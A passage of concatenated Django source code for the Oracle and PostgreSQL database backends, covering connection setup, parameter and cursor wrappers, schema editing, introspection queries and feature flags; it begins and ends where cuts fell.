    def __init__(self, *args, **kwargs):
        super(DatabaseWrapper, self).__init__(*args, **kwargs)

        self.features = DatabaseFeatures(self)
        use_returning_into = self.settings_dict["OPTIONS"].get('use_returning_into', True)
        self.features.can_return_id_from_insert = use_returning_into
        self.ops = DatabaseOperations(self)
        self.client = DatabaseClient(self)
        self.creation = DatabaseCreation(self)
        self.introspection = DatabaseIntrospection(self)
        self.validation = BaseDatabaseValidation(self)

    def _connect_string(self):
        settings_dict = self.settings_dict
        if not settings_dict['HOST'].strip():
            settings_dict['HOST'] = 'localhost'
        if settings_dict['PORT'].strip():
            dsn = Database.makedsn(settings_dict['HOST'],
                                   int(settings_dict['PORT']),
                                   settings_dict['NAME'])
        else:
            dsn = settings_dict['NAME']
        return "%s/%s@%s" % (settings_dict['USER'],
                             settings_dict['PASSWORD'], dsn)

    def get_connection_params(self):
        conn_params = self.settings_dict['OPTIONS'].copy()
        if 'use_returning_into' in conn_params:
            del conn_params['use_returning_into']
        return conn_params

    def get_new_connection(self, conn_params):
        conn_string = convert_unicode(self._connect_string())
        return Database.connect(conn_string, **conn_params)

    def init_connection_state(self):
        cursor = self.create_cursor()
        # Set the territory first. The territory overrides NLS_DATE_FORMAT
        # and NLS_TIMESTAMP_FORMAT to the territory default. When all of
        # these are set in single statement it isn't clear what is supposed
        # to happen.
        cursor.execute("ALTER SESSION SET NLS_TERRITORY = 'AMERICA'")
        # Set Oracle date to ANSI date format.  This only needs to execute
        # once when we create a new connection. We also set the Territory
        # to 'AMERICA' which forces Sunday to evaluate to a '1' in
        # TO_CHAR().
        cursor.execute(
            "ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'"
            " NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS.FF'" +
            (" TIME_ZONE = 'UTC'" if settings.USE_TZ else '')
        )
        cursor.close()
        if 'operators' not in self.__dict__:
            # Ticket #14149: Check whether our LIKE implementation will
            # work for this connection or we need to fall back on LIKEC.
            # This check is performed only once per DatabaseWrapper
            # instance per thread, since subsequent connections will use
            # the same settings.
            cursor = self.create_cursor()
            try:
                cursor.execute("SELECT 1 FROM DUAL WHERE DUMMY %s"
                               % self._standard_operators['contains'],
                               ['X'])
            except DatabaseError:
                self.operators = self._likec_operators
                self.pattern_ops = self._likec_pattern_ops
            else:
                self.operators = self._standard_operators
                self.pattern_ops = self._standard_pattern_ops
            cursor.close()

        try:
            self.connection.stmtcachesize = 20
        except AttributeError:
            # Django docs specify cx_Oracle version 4.3.1 or higher, but
            # stmtcachesize is available only in 4.3.2 and up.
            pass
        # Ensure all changes are preserved even when AUTOCOMMIT is False.
        if not self.get_autocommit():
            self.commit()

    def create_cursor(self):
        return FormatStylePlaceholderCursor(self.connection)

    def _commit(self):
        if self.connection is not None:
            try:
                return self.connection.commit()
            except Database.DatabaseError as e:
                # cx_Oracle 5.0.4 raises a cx_Oracle.DatabaseError exception
                # with the following attributes and values:
                #  code = 2091
                #  message = 'ORA-02091: transaction rolled back
                #            'ORA-02291: integrity constraint (TEST_DJANGOTEST.SYS
                #               _C00102056) violated - parent key not found'
                # We convert that particular case to our IntegrityError exception
                x = e.args[0]
                if hasattr(x, 'code') and hasattr(x, 'message') \
                   and x.code == 2091 and 'ORA-02291' in x.message:
                    six.reraise(utils.IntegrityError, utils.IntegrityError(*tuple(e.args)), sys.exc_info()[2])
                raise

    # Oracle doesn't support releasing savepoints. But we fake them when query
    # logging is enabled to keep query counts consistent with other backends.
    def _savepoint_commit(self, sid):
        if self.queries_logged:
            self.queries_log.append({
                'sql': '-- RELEASE SAVEPOINT %s (faked)' % self.ops.quote_name(sid),
                'time': '0.000',
            })

    def _set_autocommit(self, autocommit):
        with self.wrap_database_errors:
            self.connection.autocommit = autocommit

    def check_constraints(self, table_names=None):
        """
        To check constraints, we set constraints to immediate. Then, when, we're done we must ensure they
        are returned to deferred.
        """
        self.cursor().execute('SET CONSTRAINTS ALL IMMEDIATE')
        self.cursor().execute('SET CONSTRAINTS ALL DEFERRED')

    def is_usable(self):
        try:
            self.connection.ping()
        except Database.Error:
            return False
        else:
            return True

    @cached_property
    def oracle_full_version(self):
        with self.temporary_connection():
            return self.connection.version

    @cached_property
    def oracle_version(self):
        try:
            return int(self.oracle_full_version.split('.')[0])
        except ValueError:
            return None


class OracleParam(object):
    """
    Wrapper object for formatting parameters for Oracle. If the string
    representation of the value is large enough (greater than 4000 characters)
    the input size needs to be set as CLOB. Alternatively, if the parameter
    has an `input_size` attribute, then the value of the `input_size` attribute
    will be used instead. Otherwise, no input size will be set for the
    parameter when executing the query.
    """

    def __init__(self, param, cursor, strings_only=False):
        # With raw SQL queries, datetimes can reach this function
        # without being converted by DateTimeField.get_db_prep_value.
        if settings.USE_TZ and (isinstance(param, datetime.datetime) and
                                not isinstance(param, Oracle_datetime)):
            if timezone.is_aware(param):
                warnings.warn(
                    "The Oracle database adapter received an aware datetime (%s), "
                    "probably from cursor.execute(). Update your code to pass a "
                    "naive datetime in the database connection's time zone (UTC by "
                    "default).", RemovedInDjango20Warning)
                param = param.astimezone(timezone.utc).replace(tzinfo=None)
            param = Oracle_datetime.from_datetime(param)

        if isinstance(param, datetime.timedelta):
            param = duration_string(param)
            if ' ' not in param:
                param = '0 ' + param

        string_size = 0
        # Oracle doesn't recognize True and False correctly in Python 3.
        # The conversion done below works both in 2 and 3.
        if param is True:
            param = 1
        elif param is False:
            param = 0
        if hasattr(param, 'bind_parameter'):
            self.force_bytes = param.bind_parameter(cursor)
        elif isinstance(param, Database.Binary):
            self.force_bytes = param
        else:
            # To transmit to the database, we need Unicode if supported
            # To get size right, we must consider bytes.
            self.force_bytes = convert_unicode(param, cursor.charset, strings_only)
            if isinstance(self.force_bytes, six.string_types):
                # We could optimize by only converting up to 4000 bytes here
                string_size = len(force_bytes(param, cursor.charset, strings_only))
        if hasattr(param, 'input_size'):
            # If parameter has `input_size` attribute, use that.
            self.input_size = param.input_size
        elif string_size > 4000:
            # Mark any string param greater than 4000 characters as a CLOB.
            self.input_size = Database.CLOB
        else:
            self.input_size = None


class VariableWrapper(object):
    """
    An adapter class for cursor variables that prevents the wrapped object
    from being converted into a string when used to instantiate an OracleParam.
    This can be used generally for any other object that should be passed into
    Cursor.execute as-is.
    """

    def __init__(self, var):
        self.var = var

    def bind_parameter(self, cursor):
        return self.var

    def __getattr__(self, key):
        return getattr(self.var, key)

    def __setattr__(self, key, value):
        if key == 'var':
            self.__dict__[key] = value
        else:
            setattr(self.var, key, value)


class FormatStylePlaceholderCursor(object):
    """
    Django uses "format" (e.g. '%s') style placeholders, but Oracle uses ":var"
    style. This fixes it -- but note that if you want to use a literal "%s" in
    a query, you'll need to use "%%s".

    We also do automatic conversion between Unicode on the Python side and
    UTF-8 -- for talking to Oracle -- in here.
    """
    charset = 'utf-8'

    def __init__(self, connection):
        self.cursor = connection.cursor()
        # Necessary to retrieve decimal values without rounding error.
        self.cursor.numbersAsStrings = True
        # Default arraysize of 1 is highly sub-optimal.
        self.cursor.arraysize = 100

    def _format_params(self, params):
        try:
            return {k: OracleParam(v, self, True) for k, v in params.items()}
        except AttributeError:
            return tuple(OracleParam(p, self, True) for p in params)

    def _guess_input_sizes(self, params_list):
        # Try dict handling; if that fails, treat as sequence
        if hasattr(params_list[0], 'keys'):
            sizes = {}
            for params in params_list:
                for k, value in params.items():
                    if value.input_size:
                        sizes[k] = value.input_size
            self.setinputsizes(**sizes)
        else:
            # It's not a list of dicts; it's a list of sequences
            sizes = [None] * len(params_list[0])
            for params in params_list:
                for i, value in enumerate(params):
                    if value.input_size:
                        sizes[i] = value.input_size
            self.setinputsizes(*sizes)

    def _param_generator(self, params):
        # Try dict handling; if that fails, treat as sequence
        if hasattr(params, 'items'):
            return {k: v.force_bytes for k, v in params.items()}
        else:
            return [p.force_bytes for p in params]

    def _fix_for_params(self, query, params):
        # cx_Oracle wants no trailing ';' for SQL statements.  For PL/SQL, it
        # it does want a trailing ';' but not a trailing '/'.  However, these
        # characters must be included in the original query in case the query
        # is being passed to SQL*Plus.
        if query.endswith(';') or query.endswith('/'):
            query = query[:-1]
        if params is None:
            params = []
            query = convert_unicode(query, self.charset)
        elif hasattr(params, 'keys'):
            # Handle params as dict
            args = {k: ":%s" % k for k in params.keys()}
            query = convert_unicode(query % args, self.charset)
        else:
            # Handle params as sequence
            args = [(':arg%d' % i) for i in range(len(params))]
            query = convert_unicode(query % tuple(args), self.charset)
        return query, self._format_params(params)

    def execute(self, query, params=None):
        query, params = self._fix_for_params(query, params)
        self._guess_input_sizes([params])
        try:
            return self.cursor.execute(query, self._param_generator(params))
        except Database.DatabaseError as e:
            # cx_Oracle <= 4.4.0 wrongly raises a DatabaseError for ORA-01400.
            if hasattr(e.args[0], 'code') and e.args[0].code == 1400 and not isinstance(e, IntegrityError):
                six.reraise(utils.IntegrityError, utils.IntegrityError(*tuple(e.args)), sys.exc_info()[2])
            raise

    def executemany(self, query, params=None):
        if not params:
            # No params given, nothing to do
            return None
        # uniform treatment for sequences and iterables
        params_iter = iter(params)
        query, firstparams = self._fix_for_params(query, next(params_iter))
        # we build a list of formatted params; as we're going to traverse it
        # more than once, we can't make it lazy by using a generator
        formatted = [firstparams] + [self._format_params(p) for p in params_iter]
        self._guess_input_sizes(formatted)
        try:
            return self.cursor.executemany(query, [self._param_generator(p) for p in formatted])
        except Database.DatabaseError as e:
            # cx_Oracle <= 4.4.0 wrongly raises a DatabaseError for ORA-01400.
            if hasattr(e.args[0], 'code') and e.args[0].code == 1400 and not isinstance(e, IntegrityError):
                six.reraise(utils.IntegrityError, utils.IntegrityError(*tuple(e.args)), sys.exc_info()[2])
            raise

    def fetchone(self):
        row = self.cursor.fetchone()
        if row is None:
            return row
        return _rowfactory(row, self.cursor)

    def fetchmany(self, size=None):
        if size is None:
            size = self.arraysize
        return tuple(_rowfactory(r, self.cursor) for r in self.cursor.fetchmany(size))

    def fetchall(self):
        return tuple(_rowfactory(r, self.cursor) for r in self.cursor.fetchall())

    def close(self):
        try:
            self.cursor.close()
        except Database.InterfaceError:
            # already closed
            pass

    def var(self, *args):
        return VariableWrapper(self.cursor.var(*args))

    def arrayvar(self, *args):
        return VariableWrapper(self.cursor.arrayvar(*args))

    def __getattr__(self, attr):
        if attr in self.__dict__:
            return self.__dict__[attr]
        else:
            return getattr(self.cursor, attr)

    def __iter__(self):
        return CursorIterator(self.cursor)


class CursorIterator(six.Iterator):
    """
    Cursor iterator wrapper that invokes our custom row factory.
    """

    def __init__(self, cursor):
        self.cursor = cursor
        self.iter = iter(cursor)

    def __iter__(self):
        return self

    def __next__(self):
        return _rowfactory(next(self.iter), self.cursor)


def _rowfactory(row, cursor):
    # Cast numeric values as the appropriate Python type based upon the
    # cursor description, and convert strings to unicode.
    casted = []
    for value, desc in zip(row, cursor.description):
        if value is not None and desc[1] is Database.NUMBER:
            precision, scale = desc[4:6]
            if scale == -127:
                if precision == 0:
                    # NUMBER column: decimal-precision floating point
                    # This will normally be an integer from a sequence,
                    # but it could be a decimal value.
                    if '.' in value:
                        value = decimal.Decimal(value)
                    else:
                        value = int(value)
                else:
                    # FLOAT column: binary-precision floating point.
                    # This comes from FloatField columns.
                    value = float(value)
            elif precision > 0:
                # NUMBER(p,s) column: decimal-precision fixed point.
                # This comes from IntField and DecimalField columns.
                if scale == 0:
                    value = int(value)
                else:
                    value = decimal.Decimal(value)
            elif '.' in value:
                # No type information. This normally comes from a
                # mathematical expression in the SELECT list. Guess int
                # or Decimal based on whether it has a decimal point.
                value = decimal.Decimal(value)
            else:
                value = int(value)
        elif desc[1] in (Database.STRING, Database.FIXED_CHAR,
                         Database.LONG_STRING):
            value = to_unicode(value)
        casted.append(value)
    return tuple(casted)


def to_unicode(s):
    """
    Convert strings to Unicode objects (and return all other data types
    unchanged).
    """
    if isinstance(s, six.string_types):
        return force_text(s)
    return s






import binascii
import copy
import datetime
import re

from django.db.backends.base.schema import BaseDatabaseSchemaEditor
from django.db.utils import DatabaseError
from django.utils import six
from django.utils.text import force_text


class DatabaseSchemaEditor(BaseDatabaseSchemaEditor):

    sql_create_column = "ALTER TABLE %(table)s ADD %(column)s %(definition)s"
    sql_alter_column_type = "MODIFY %(column)s %(type)s"
    sql_alter_column_null = "MODIFY %(column)s NULL"
    sql_alter_column_not_null = "MODIFY %(column)s NOT NULL"
    sql_alter_column_default = "MODIFY %(column)s DEFAULT %(default)s"
    sql_alter_column_no_default = "MODIFY %(column)s DEFAULT NULL"
    sql_delete_column = "ALTER TABLE %(table)s DROP COLUMN %(column)s"
    sql_delete_table = "DROP TABLE %(table)s CASCADE CONSTRAINTS"

    def quote_value(self, value):
        if isinstance(value, (datetime.date, datetime.time, datetime.datetime)):
            return "'%s'" % value
        elif isinstance(value, six.string_types):
            return "'%s'" % six.text_type(value).replace("\'", "\'\'")
        elif isinstance(value, six.buffer_types):
            return "'%s'" % force_text(binascii.hexlify(value))
        elif isinstance(value, bool):
            return "1" if value else "0"
        else:
            return str(value)

    def delete_model(self, model):
        # Run superclass action
        super(DatabaseSchemaEditor, self).delete_model(model)
        # Clean up any autoincrement trigger
        self.execute("""
            DECLARE
                i INTEGER;
            BEGIN
                SELECT COUNT(*) INTO i FROM USER_CATALOG
                    WHERE TABLE_NAME = '%(sq_name)s' AND TABLE_TYPE = 'SEQUENCE';
                IF i = 1 THEN
                    EXECUTE IMMEDIATE 'DROP SEQUENCE "%(sq_name)s"';
                END IF;
            END;
        /""" % {'sq_name': self.connection.ops._get_sequence_name(model._meta.db_table)})

    def alter_field(self, model, old_field, new_field, strict=False):
        try:
            super(DatabaseSchemaEditor, self).alter_field(model, old_field, new_field, strict)
        except DatabaseError as e:
            description = str(e)
            # If we're changing type to an unsupported type we need a
            # SQLite-ish workaround
            if 'ORA-22858' in description or 'ORA-22859' in description:
                self._alter_field_type_workaround(model, old_field, new_field)
            else:
                raise

    def _alter_field_type_workaround(self, model, old_field, new_field):
        """
        Oracle refuses to change from some type to other type.
        What we need to do instead is:
        - Add a nullable version of the desired field with a temporary name
        - Update the table to transfer values from old to new
        - Drop old column
        - Rename the new column and possibly drop the nullable property
        """
        # Make a new field that's like the new one but with a temporary
        # column name.
        new_temp_field = copy.deepcopy(new_field)
        new_temp_field.null = True
        new_temp_field.column = self._generate_temp_name(new_field.column)
        # Add it
        self.add_field(model, new_temp_field)
        # Explicit data type conversion
        # https://docs.oracle.com/cd/B19306_01/server.102/b14200/sql_elements002.htm#sthref340
        new_value = self.quote_name(old_field.column)
        old_type = old_field.db_type(self.connection)
        if re.match('^N?CLOB', old_type):
            new_value = "TO_CHAR(%s)" % new_value
            old_type = 'VARCHAR2'
        if re.match('^N?VARCHAR2', old_type):
            new_internal_type = new_field.get_internal_type()
            if new_internal_type == 'DateField':
                new_value = "TO_DATE(%s, 'YYYY-MM-DD')" % new_value
            elif new_internal_type == 'DateTimeField':
                new_value = "TO_TIMESTAMP(%s, 'YYYY-MM-DD HH24:MI:SS.FF')" % new_value
            elif new_internal_type == 'TimeField':
                # TimeField are stored as TIMESTAMP with a 1900-01-01 date part.
                new_value = "TO_TIMESTAMP(CONCAT('1900-01-01 ', %s), 'YYYY-MM-DD HH24:MI:SS.FF')" % new_value
        # Transfer values across
        self.execute("UPDATE %s set %s=%s" % (
            self.quote_name(model._meta.db_table),
            self.quote_name(new_temp_field.column),
            new_value,
        ))
        # Drop the old field
        self.remove_field(model, old_field)
        # Rename and possibly make the new field NOT NULL
        super(DatabaseSchemaEditor, self).alter_field(model, new_temp_field, new_field)

    def normalize_name(self, name):
        """
        Get the properly shortened and uppercased identifier as returned by
        quote_name(), but without the actual quotes.
        """
        nn = self.quote_name(name)
        if nn[0] == '"' and nn[-1] == '"':
            nn = nn[1:-1]
        return nn

    def _generate_temp_name(self, for_name):
        """
        Generates temporary names for workarounds that need temp columns
        """
        suffix = hex(hash(for_name)).upper()[1:]
        return self.normalize_name(for_name + "_" + suffix)

    def prepare_default(self, value):
        return self.quote_value(value)






import cx_Oracle

from django.db.backends.base.introspection import (
    BaseDatabaseIntrospection, FieldInfo, TableInfo,
)
from django.utils.encoding import force_text


class DatabaseIntrospection(BaseDatabaseIntrospection):
    # Maps type objects to Django Field types.
    data_types_reverse = {
        cx_Oracle.BLOB: 'BinaryField',
        cx_Oracle.CLOB: 'TextField',
        cx_Oracle.DATETIME: 'DateField',
        cx_Oracle.FIXED_CHAR: 'CharField',
        cx_Oracle.NCLOB: 'TextField',
        cx_Oracle.NUMBER: 'DecimalField',
        cx_Oracle.STRING: 'CharField',
        cx_Oracle.TIMESTAMP: 'DateTimeField',
    }

    try:
        data_types_reverse[cx_Oracle.NATIVE_FLOAT] = 'FloatField'
    except AttributeError:
        pass

    try:
        data_types_reverse[cx_Oracle.UNICODE] = 'CharField'
    except AttributeError:
        pass

    cache_bust_counter = 1

    def get_field_type(self, data_type, description):
        # If it's a NUMBER with scale == 0, consider it an IntegerField
        if data_type == cx_Oracle.NUMBER:
            precision, scale = description[4:6]
            if scale == 0:
                if precision > 11:
                    return 'BigIntegerField'
                elif precision == 1:
                    return 'BooleanField'
                else:
                    return 'IntegerField'
            elif scale == -127:
                return 'FloatField'

        return super(DatabaseIntrospection, self).get_field_type(data_type, description)

    def get_table_list(self, cursor):
        """
        Returns a list of table and view names in the current database.
        """
        cursor.execute("SELECT TABLE_NAME, 't' FROM USER_TABLES UNION ALL "
                       "SELECT VIEW_NAME, 'v' FROM USER_VIEWS")
        return [TableInfo(row[0].lower(), row[1]) for row in cursor.fetchall()]

    def get_table_description(self, cursor, table_name):
        "Returns a description of the table, with the DB-API cursor.description interface."
        self.cache_bust_counter += 1
        cursor.execute("SELECT * FROM {} WHERE ROWNUM < 2 AND {} > 0".format(
            self.connection.ops.quote_name(table_name),
            self.cache_bust_counter))
        description = []
        for desc in cursor.description:
            name = force_text(desc[0])  # cx_Oracle always returns a 'str' on both Python 2 and 3
            name = name % {}  # cx_Oracle, for some reason, doubles percent signs.
            description.append(FieldInfo(*(name.lower(),) + desc[1:]))
        return description

    def table_name_converter(self, name):
        "Table name comparison is case insensitive under Oracle"
        return name.lower()

    def _name_to_index(self, cursor, table_name):
        """
        Returns a dictionary of {field_name: field_index} for the given table.
        Indexes are 0-based.
        """
        return {d[0]: i for i, d in enumerate(self.get_table_description(cursor, table_name))}

    def get_relations(self, cursor, table_name):
        """
        Returns a dictionary of {field_name: (field_name_other_table, other_table)}
        representing all relationships to the given table.
        """
        table_name = table_name.upper()
        cursor.execute("""
    SELECT ta.column_name, tb.table_name, tb.column_name
    FROM   user_constraints, USER_CONS_COLUMNS ca, USER_CONS_COLUMNS cb,
           user_tab_cols ta, user_tab_cols tb
    WHERE  user_constraints.table_name = %s AND
           ta.table_name = user_constraints.table_name AND
           ta.column_name = ca.column_name AND
           ca.table_name = ta.table_name AND
           user_constraints.constraint_name = ca.constraint_name AND
           user_constraints.r_constraint_name = cb.constraint_name AND
           cb.table_name = tb.table_name AND
           cb.column_name = tb.column_name AND
           ca.position = cb.position""", [table_name])

        relations = {}
        for row in cursor.fetchall():
            relations[row[0].lower()] = (row[2].lower(), row[1].lower())
        return relations

    def get_key_columns(self, cursor, table_name):
        cursor.execute("""
            SELECT ccol.column_name, rcol.table_name AS referenced_table, rcol.column_name AS referenced_column
            FROM user_constraints c
            JOIN user_cons_columns ccol
              ON ccol.constraint_name = c.constraint_name
            JOIN user_cons_columns rcol
              ON rcol.constraint_name = c.r_constraint_name
            WHERE c.table_name = %s AND c.constraint_type = 'R'""", [table_name.upper()])
        return [tuple(cell.lower() for cell in row)
                for row in cursor.fetchall()]

    def get_indexes(self, cursor, table_name):
        sql = """
    SELECT LOWER(uic1.column_name) AS column_name,
           CASE user_constraints.constraint_type
               WHEN 'P' THEN 1 ELSE 0
           END AS is_primary_key,
           CASE user_indexes.uniqueness
               WHEN 'UNIQUE' THEN 1 ELSE 0
           END AS is_unique
    FROM   user_constraints, user_indexes, user_ind_columns uic1
    WHERE  user_constraints.constraint_type (+) = 'P'
      AND  user_constraints.index_name (+) = uic1.index_name
      AND  user_indexes.uniqueness (+) = 'UNIQUE'
      AND  user_indexes.index_name (+) = uic1.index_name
      AND  uic1.table_name = UPPER(%s)
      AND  uic1.column_position = 1
      AND  NOT EXISTS (
              SELECT 1
              FROM   user_ind_columns uic2
              WHERE  uic2.index_name = uic1.index_name
                AND  uic2.column_position = 2
           )
        """
        cursor.execute(sql, [table_name])
        indexes = {}
        for row in cursor.fetchall():
            indexes[row[0]] = {'primary_key': bool(row[1]),
                               'unique': bool(row[2])}
        return indexes

    def get_constraints(self, cursor, table_name):
        """
        Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.
        """
        constraints = {}
        # Loop over the constraints, getting PKs and uniques
        cursor.execute("""
            SELECT
                user_constraints.constraint_name,
                LOWER(cols.column_name) AS column_name,
                CASE user_constraints.constraint_type
                    WHEN 'P' THEN 1
                    ELSE 0
                END AS is_primary_key,
                CASE user_indexes.uniqueness
                    WHEN 'UNIQUE' THEN 1
                    ELSE 0
                END AS is_unique,
                CASE user_constraints.constraint_type
                    WHEN 'C' THEN 1
                    ELSE 0
                END AS is_check_constraint
            FROM
                user_constraints
            INNER JOIN
                user_indexes ON user_indexes.index_name = user_constraints.index_name
            LEFT OUTER JOIN
                user_cons_columns cols ON user_constraints.constraint_name = cols.constraint_name
            WHERE
                (
                    user_constraints.constraint_type = 'P' OR
                    user_constraints.constraint_type = 'U'
                )
                AND user_constraints.table_name = UPPER(%s)
            ORDER BY cols.position
        """, [table_name])
        for constraint, column, pk, unique, check in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    "columns": [],
                    "primary_key": pk,
                    "unique": unique,
                    "foreign_key": None,
                    "check": check,
                    "index": True,  # All P and U come with index, see inner join above
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
        # Check constraints
        cursor.execute("""
            SELECT
                cons.constraint_name,
                LOWER(cols.column_name) AS column_name
            FROM
                user_constraints cons
            LEFT OUTER JOIN
                user_cons_columns cols ON cons.constraint_name = cols.constraint_name
            WHERE
                cons.constraint_type = 'C' AND
                cons.table_name = UPPER(%s)
            ORDER BY cols.position
        """, [table_name])
        for constraint, column in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    "columns": [],
                    "primary_key": False,
                    "unique": False,
                    "foreign_key": None,
                    "check": True,
                    "index": False,
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
        # Foreign key constraints
        cursor.execute("""
            SELECT
                cons.constraint_name,
                LOWER(cols.column_name) AS column_name,
                LOWER(rcons.table_name),
                LOWER(rcols.column_name)
            FROM
                user_constraints cons
            INNER JOIN
                user_constraints rcons ON cons.r_constraint_name = rcons.constraint_name
            INNER JOIN
                user_cons_columns rcols ON rcols.constraint_name = rcons.constraint_name
            LEFT OUTER JOIN
                user_cons_columns cols ON cons.constraint_name = cols.constraint_name
            WHERE
                cons.constraint_type = 'R' AND
                cons.table_name = UPPER(%s)
            ORDER BY cols.position
        """, [table_name])
        for constraint, column, other_table, other_column in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    "columns": [],
                    "primary_key": False,
                    "unique": False,
                    "foreign_key": (other_table, other_column),
                    "check": False,
                    "index": False,
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
        # Now get indexes
        cursor.execute("""
            SELECT
                index_name,
                LOWER(column_name), descend
            FROM
                user_ind_columns cols
            WHERE
                table_name = UPPER(%s) AND
                NOT EXISTS (
                    SELECT 1
                    FROM user_constraints cons
                    WHERE cols.index_name = cons.index_name
                )
            ORDER BY cols.column_position
        """, [table_name])
        for constraint, column, order in cursor.fetchall():
            # If we're the first column, make the record
            if constraint not in constraints:
                constraints[constraint] = {
                    "columns": [],
                    "orders": [],
                    "primary_key": False,
                    "unique": False,
                    "foreign_key": None,
                    "check": False,
                    "index": True,
                }
            # Record the details
            constraints[constraint]['columns'].append(column)
            constraints[constraint]['orders'].append(order)
        return constraints






from django.db.models import DecimalField, DurationField, Func


class IntervalToSeconds(Func):
    function = ''
    template = """
    EXTRACT(day from %(expressions)s) * 86400 +
    EXTRACT(hour from %(expressions)s) * 3600 +
    EXTRACT(minute from %(expressions)s) * 60 +
    EXTRACT(second from %(expressions)s)
    """

    def __init__(self, expression, **extra):
        output_field = extra.pop('output_field', DecimalField())
        super(IntervalToSeconds, self).__init__(expression, output_field=output_field, **extra)


class SecondsToInterval(Func):
    function = 'NUMTODSINTERVAL'
    template = "%(function)s(%(expressions)s, 'SECOND')"

    def __init__(self, expression, **extra):
        output_field = extra.pop('output_field', DurationField())
        super(SecondsToInterval, self).__init__(expression, output_field=output_field, **extra)












import datetime

from django.utils.encoding import force_bytes, force_text

from .base import Database

# Check whether cx_Oracle was compiled with the WITH_UNICODE option if cx_Oracle is pre-5.1. This will
# also be True for cx_Oracle 5.1 and in Python 3.0. See #19606
if int(Database.version.split('.', 1)[0]) >= 5 and \
        (int(Database.version.split('.', 2)[1]) >= 1 or
         not hasattr(Database, 'UNICODE')):
    convert_unicode = force_text
else:
    convert_unicode = force_bytes


class InsertIdVar(object):
    """
    A late-binding cursor variable that can be passed to Cursor.execute
    as a parameter, in order to receive the id of the row created by an
    insert statement.
    """

    def bind_parameter(self, cursor):
        param = cursor.cursor.var(Database.NUMBER)
        cursor._insert_id_var = param
        return param


class Oracle_datetime(datetime.datetime):
    """
    A datetime object, with an additional class attribute
    to tell cx_Oracle to save the microseconds too.
    """
    input_size = Database.TIMESTAMP

    @classmethod
    def from_datetime(cls, dt):
        return Oracle_datetime(
            dt.year, dt.month, dt.day,
            dt.hour, dt.minute, dt.second, dt.microsecond,
        )






import sys

from django.db.backends.base.creation import BaseDatabaseCreation


class DatabaseCreation(BaseDatabaseCreation):

    def _quote_name(self, name):
        return self.connection.ops.quote_name(name)

    def _get_database_create_suffix(self, encoding=None, template=None):
        suffix = ""
        if encoding:
            suffix += " ENCODING '{}'".format(encoding)
        if template:
            suffix += " TEMPLATE {}".format(self._quote_name(template))
        if suffix:
            suffix = "WITH" + suffix
        return suffix

    def sql_table_creation_suffix(self):
        test_settings = self.connection.settings_dict['TEST']
        assert test_settings['COLLATION'] is None, (
            "PostgreSQL does not support collation setting at database creation time."
        )
        return self._get_database_create_suffix(
            encoding=test_settings['CHARSET'],
            template=test_settings.get('TEMPLATE'),
        )

    def _clone_test_db(self, number, verbosity, keepdb=False):
        # CREATE DATABASE ... WITH TEMPLATE ... requires closing connections
        # to the template database.
        self.connection.close()

        source_database_name = self.connection.settings_dict['NAME']
        target_database_name = self.get_test_db_clone_settings(number)['NAME']
        suffix = self._get_database_create_suffix(template=source_database_name)
        creation_sql = "CREATE DATABASE {} {}".format(self._quote_name(target_database_name), suffix)

        with self._nodb_connection.cursor() as cursor:
            try:
                cursor.execute(creation_sql)
            except Exception as e:
                if keepdb:
                    return
                try:
                    if verbosity >= 1:
                        print("Destroying old test database for alias %s..." % (
                            self._get_database_display_str(verbosity, target_database_name),
                        ))
                    cursor.execute("DROP DATABASE %s" % self._quote_name(target_database_name))
                    cursor.execute(creation_sql)
                except Exception as e:
                    sys.stderr.write("Got an error cloning the test database: %s\n" % e)
                    sys.exit(2)






from django.db.backends.base.features import BaseDatabaseFeatures
from django.db.utils import InterfaceError
from django.utils.functional import cached_property


class DatabaseFeatures(BaseDatabaseFeatures):
    allows_group_by_selected_pks = True
    can_return_id_from_insert = True
    can_return_ids_from_bulk_insert = True
    has_real_datatype = True
    has_native_uuid_field = True
    has_native_duration_field = True
    driver_supports_timedelta_args = True
    can_defer_constraint_checks = True
    has_select_for_update = True
    has_select_for_update_nowait = True
    has_bulk_insert = True
    uses_savepoints = True
    can_release_savepoints = True
    supports_tablespaces = True
    supports_transactions = True
    can_introspect_autofield = True
    can_introspect_ip_address_field = True
    can_introspect_small_integer_field = True
    can_introspect_index_type = True
    can_distinct_on_fields = True
    can_rollback_ddl = True
    supports_combined_alters = True
    nulls_order_largest = True
    closed_cursor_error_class = InterfaceError
    has_case_insensitive_like = False
    requires_sqlparse_for_splitting = False
    greatest_least_ignores_nulls = True
    can_clone_databases = True
    supports_temporal_subtraction = True

    @cached_property
    def has_select_for_update_skip_locked(self):
        return self.connection.pg_version >= 90500






from __future__ import unicode_literals

from psycopg2.extras import Inet

from django.conf import settings
from django.db.backends.base.operations import BaseDatabaseOperations


class DatabaseOperations(BaseDatabaseOperations):
    def unification_cast_sql(self, output_field):
        internal_type = output_field.get_internal_type()
        if internal_type in ("GenericIPAddressField", "IPAddressField", "TimeField", "UUIDField"):
            # PostgreSQL will resolve a union as type 'text' if input types are
            # 'unknown'.
            # http://www.postgresql.org/docs/9.4/static/typeconv-union-case.html
            # These fields cannot be implicitly cast back in the default
            # PostgreSQL configuration so we need to explicitly cast them.
            # We must also remove components of the type within brackets:
            # varchar(255) -> varchar.
            return 'CAST(%%s AS %s)' % output_field.db_type(self.connection).split('(')[0]
        return '%s'

    def date_extract_sql(self, lookup_type, field_name):
        # http://www.postgresql.org/docs/current/static/functions-datetime.html#FUNCTIONS-DATETIME-EXTRACT
        if lookup_type == 'week_day':
            # For consistency across backends, we return Sunday=1, Saturday=7.
            return "EXTRACT('dow' FROM %s) + 1" % field_name
        else:
            return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name)

    def date_trunc_sql(self, lookup_type, field_name):
        # http://www.postgresql.org/docs/current/static/functions-datetime.html#FUNCTIONS-DATETIME-TRUNC
        return "DATE_TRUNC('%s', %s)" % (lookup_type, field_name)

    def _convert_field_to_tz(self, field_name, tzname):
        if settings.USE_TZ:
